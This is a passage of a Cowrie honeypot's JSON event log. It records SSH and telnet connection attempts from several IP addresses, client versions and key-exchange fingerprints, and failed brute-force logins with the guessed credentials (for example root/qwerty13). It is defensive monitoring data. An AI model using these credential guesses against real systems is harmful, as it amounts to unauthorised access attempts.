sh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:25.008719Z","src_ip":"116.110.11.66","session":"2d6e4dfff428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47716,"dst_ip":"10.17.0.5","dst_port":23,"session":"65e63e328fa8","protocol":"telnet","message":"New connection: 192.119.13.58:47716 (10.17.0.5:23) [session: 65e63e328fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:26.172329Z"}
{"eventid":"cowrie.session.closed","duration":8.473430633544922,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:29.234449Z","src_ip":"192.119.13.58","session":"4b577514d963","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:29.852192Z","src_ip":"116.110.11.66","session":"2d6e4dfff428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.988481283187866,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:32.426719Z","src_ip":"192.119.13.58","session":"5ba04f596b57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:33.244231Z","src_ip":"116.110.11.66","session":"2d6e4dfff428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46300,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b0981e1d135","protocol":"telnet","message":"New connection: 192.119.13.58:46300 (10.17.0.5:23) [session: 2b0981e1d135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:33.362693Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55058,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a33f61f6de0","protocol":"telnet","message":"New connection: 192.119.13.58:55058 (10.17.0.5:23) [session: 4a33f61f6de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:34.522032Z"}
{"eventid":"cowrie.session.closed","duration":35.02439022064209,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:35.060417Z","src_ip":"192.119.13.58","session":"9ab5ba9f15bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57530,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb2b894ad80","protocol":"telnet","message":"New connection: 192.119.13.58:57530 (10.17.0.5:23) [session: 0fb2b894ad80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:35.169558Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60944,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2f2ef0a99c","protocol":"telnet","message":"New connection: 192.119.13.58:60944 (10.17.0.5:23) [session: ab2f2ef0a99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:36.019658Z"}
{"eventid":"cowrie.session.closed","duration":34.42658281326294,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:36.779298Z","src_ip":"192.119.13.58","session":"7207b96fda9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":20950,"dst_ip":"10.17.0.5","dst_port":22,"session":"44dcb460a8a8","protocol":"ssh","message":"New connection: 201.249.192.30:20950 (10.17.0.5:22) [session: 44dcb460a8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:40.232809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:40.237863Z","src_ip":"201.249.192.30","session":"44dcb460a8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:40.317366Z","src_ip":"201.249.192.30","session":"44dcb460a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51710,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3ff43bd5e8e","protocol":"telnet","message":"New connection: 192.119.13.58:51710 (10.17.0.5:23) [session: f3ff43bd5e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:40.604295Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"p314159i","message":"login attempt [root/p314159i] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:40.666505Z","src_ip":"201.249.192.30","session":"44dcb460a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:41.749708Z","src_ip":"201.249.192.30","session":"44dcb460a8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.7114953994751,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:43.576574Z","src_ip":"192.119.13.58","session":"c968043f3169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36074,"dst_ip":"10.17.0.5","dst_port":23,"session":"80b1713d5f9d","protocol":"telnet","message":"New connection: 192.119.13.58:36074 (10.17.0.5:23) [session: 80b1713d5f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:43.731042Z"}
{"eventid":"cowrie.session.closed","duration":42.59100818634033,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:43.886254Z","src_ip":"192.119.13.58","session":"5ce6b75ae472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.37857937812805,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:45.214345Z","src_ip":"192.119.13.58","session":"762127b50a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":35420,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e303ef730ae","protocol":"ssh","message":"New connection: 176.65.148.108:35420 (10.17.0.5:22) [session: 6e303ef730ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:45.659214Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:45.744740Z","src_ip":"176.65.148.108","session":"6e303ef730ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":35426,"dst_ip":"10.17.0.5","dst_port":22,"session":"0921cdbdc33f","protocol":"ssh","message":"New connection: 176.65.148.108:35426 (10.17.0.5:22) [session: 0921cdbdc33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:45.823352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:45.828904Z","src_ip":"176.65.148.108","session":"0921cdbdc33f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:45.912083Z","src_ip":"176.65.148.108","session":"0921cdbdc33f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:46.166230Z","src_ip":"176.65.148.108","session":"0921cdbdc33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:47.251209Z","src_ip":"176.65.148.108","session":"0921cdbdc33f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51694,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7e83de8374","protocol":"telnet","message":"New connection: 192.119.13.58:51694 (10.17.0.5:23) [session: 9e7e83de8374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:47.573677Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57118,"dst_ip":"10.17.0.5","dst_port":23,"session":"586705a15efd","protocol":"telnet","message":"New connection: 192.119.13.58:57118 (10.17.0.5:23) [session: 586705a15efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:48.872261Z"}
{"eventid":"cowrie.session.closed","duration":0.00514984130859375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:48.877278Z","src_ip":"192.119.13.58","session":"586705a15efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35158,"dst_ip":"10.17.0.5","dst_port":23,"session":"e771c262394c","protocol":"telnet","message":"New connection: 192.119.13.58:35158 (10.17.0.5:23) [session: e771c262394c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:50.351357Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":58686,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a7e956ccf9f","protocol":"ssh","message":"New connection: 40.83.182.122:58686 (10.17.0.5:22) [session: 2a7e956ccf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:55.850710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:55.855984Z","src_ip":"40.83.182.122","session":"2a7e956ccf9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:55.931261Z","src_ip":"40.83.182.122","session":"2a7e956ccf9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sascha","message":"login attempt [root/sascha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:56.255094Z","src_ip":"40.83.182.122","session":"2a7e956ccf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:57:57.355937Z","src_ip":"40.83.182.122","session":"2a7e956ccf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.920408725738525,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:00.484089Z","src_ip":"192.119.13.58","session":"6bc20961a07c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.88674306869507,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:03.530915Z","src_ip":"192.119.13.58","session":"9dd9578a57af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36990,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5aaecfb1ac9","protocol":"telnet","message":"New connection: 192.119.13.58:36990 (10.17.0.5:23) [session: e5aaecfb1ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:04.022266Z"}
{"eventid":"cowrie.session.closed","duration":39.879178285598755,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:06.051352Z","src_ip":"192.119.13.58","session":"65e63e328fa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74153447151184,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:09.911019Z","src_ip":"192.119.13.58","session":"0fb2b894ad80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.3443922996521,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:13.706991Z","src_ip":"192.119.13.58","session":"2b0981e1d135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50330,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c460852bd3","protocol":"telnet","message":"New connection: 192.119.13.58:50330 (10.17.0.5:23) [session: c8c460852bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:14.038365Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54162,"dst_ip":"10.17.0.5","dst_port":22,"session":"09ec3b0cc889","protocol":"ssh","message":"New connection: 103.153.68.219:54162 (10.17.0.5:22) [session: 09ec3b0cc889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:14.899282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:14.904680Z","src_ip":"103.153.68.219","session":"09ec3b0cc889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:15.157690Z","src_ip":"103.153.68.219","session":"09ec3b0cc889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty13","message":"login attempt [root/qwerty13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:15.917018Z","src_ip":"103.153.68.219","session":"09ec3b0cc889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.30931997299194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:16.328870Z","src_ip":"192.119.13.58","session":"ab2f2ef0a99c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58330,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a5b22f0ab0e","protocol":"telnet","message":"New connection: 192.119.13.58:58330 (10.17.0.5:23) [session: 9a5b22f0ab0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:16.947566Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35502,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6eb6396a019","protocol":"telnet","message":"New connection: 192.119.13.58:35502 (10.17.0.5:23) [session: c6eb6396a019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:17.121049Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:17.172776Z","src_ip":"103.153.68.219","session":"09ec3b0cc889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36512,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdaacf48c07c","protocol":"telnet","message":"New connection: 192.119.13.58:36512 (10.17.0.5:23) [session: bdaacf48c07c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:17.368613Z"}
{"eventid":"cowrie.session.closed","duration":0.005121707916259766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:17.373579Z","src_ip":"192.119.13.58","session":"bdaacf48c07c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":43420,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cc161e6b84e","protocol":"ssh","message":"New connection: 81.9.145.130:43420 (10.17.0.5:22) [session: 3cc161e6b84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:20.346687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:20.352123Z","src_ip":"81.9.145.130","session":"3cc161e6b84e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:58:20.515206Z","src_ip":"81.9.145.130","session":"3cc161e6b84e","protocol":"ssh"}
